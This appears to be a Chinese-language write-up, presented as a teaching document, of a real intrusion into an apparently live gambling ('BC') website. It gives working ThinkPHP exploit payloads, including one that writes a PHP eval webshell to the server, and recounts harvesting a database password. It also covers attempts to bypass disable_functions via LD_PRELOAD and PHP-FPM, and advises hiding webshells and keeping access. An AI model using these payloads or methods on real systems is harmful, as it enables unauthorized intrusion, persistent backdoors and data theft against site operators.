某BC站点getshell实录
字数 1077 2025-08-09 17:09:31
某BC站点getshell渗透实战教学文档
1. 信息收集阶段
1.1 目标发现
- 通过批量爬取和扫描发现目标站点(BC类网站)
- 使用目录扫描工具发现站点使用ThinkPHP框架
- 获取到ThinkPHP的具体版本信息(关键突破口)
2. 漏洞验证阶段
2.1 初始尝试
- 使用Goby工具验证ThinkPHP漏洞
- 尝试直接替换系统命令函数失败
- 测试eval、system等函数均被禁用
2.2 手工验证
- 参考外部文章进行手工POC验证
- 发现所有执行命令的POC都返回系统错误
- 怀疑存在disable_functions限制
2.3 获取PHP信息
- 使用Payload获取phpinfo信息:
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo - 确认disable_functions禁用了大量危险函数
3. 文件写入突破
3.1 写入Webshell
- 使用文件写入Payload:
POST: s=file_put_contents('test.php','<?php eval($_POST);')&_method=__construct&method=POST&filter[]=assert - 成功写入Webshell文件test.php
- 获得有限权限:可查看网站文件但无法执行系统命令
3.2 信息收集
- 发现数据库密码(非root权限)
- 确认环境:Nginx、PHP5.6、Linux、宝塔面板搭建
4. 权限提升尝试
4.1 绕过disable_functions
-
LD_PRELOAD方法
- 原理:通过LD_PRELOAD环境变量加载恶意共享库
- 问题:相关函数被禁用
- 参考工具:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
-
PHP-FPM方法
- 原理:通过FastCGI协议与PHP-FPM通信
- 测试结果:失败(环境限制)
-
其他方法尝试:
- 因环境不支持或函数被禁用而失败
5. 总结与关键点
5.1 成功利用点
- ThinkPHP框架漏洞利用
- 文件写入绕过限制
- 获取数据库访问权限
5.2 限制因素
- 严格的disable_functions配置
- 宝塔面板的安全加固
- 非root数据库权限
5.3 可能的改进方向
- 尝试其他Webshell写入方式
- 研究特定版本的ThinkPHP漏洞
- 寻找宝塔面板的已知漏洞
- 数据库提权尝试(如有必要权限)
6. 技术要点总结
-
ThinkPHP漏洞利用:
- 构造特殊参数利用框架缺陷
- 注意_method、filter等关键参数
-
绕过disable_functions:
- 优先尝试文件操作而非命令执行
- 多种方法需根据环境选择
-
权限维持:
- 写入Webshell时要考虑隐蔽性
- 尝试多种文件路径
-
环境适应:
- 针对宝塔面板的特殊配置调整攻击方式
- 注意PHP5.6版本的特性限制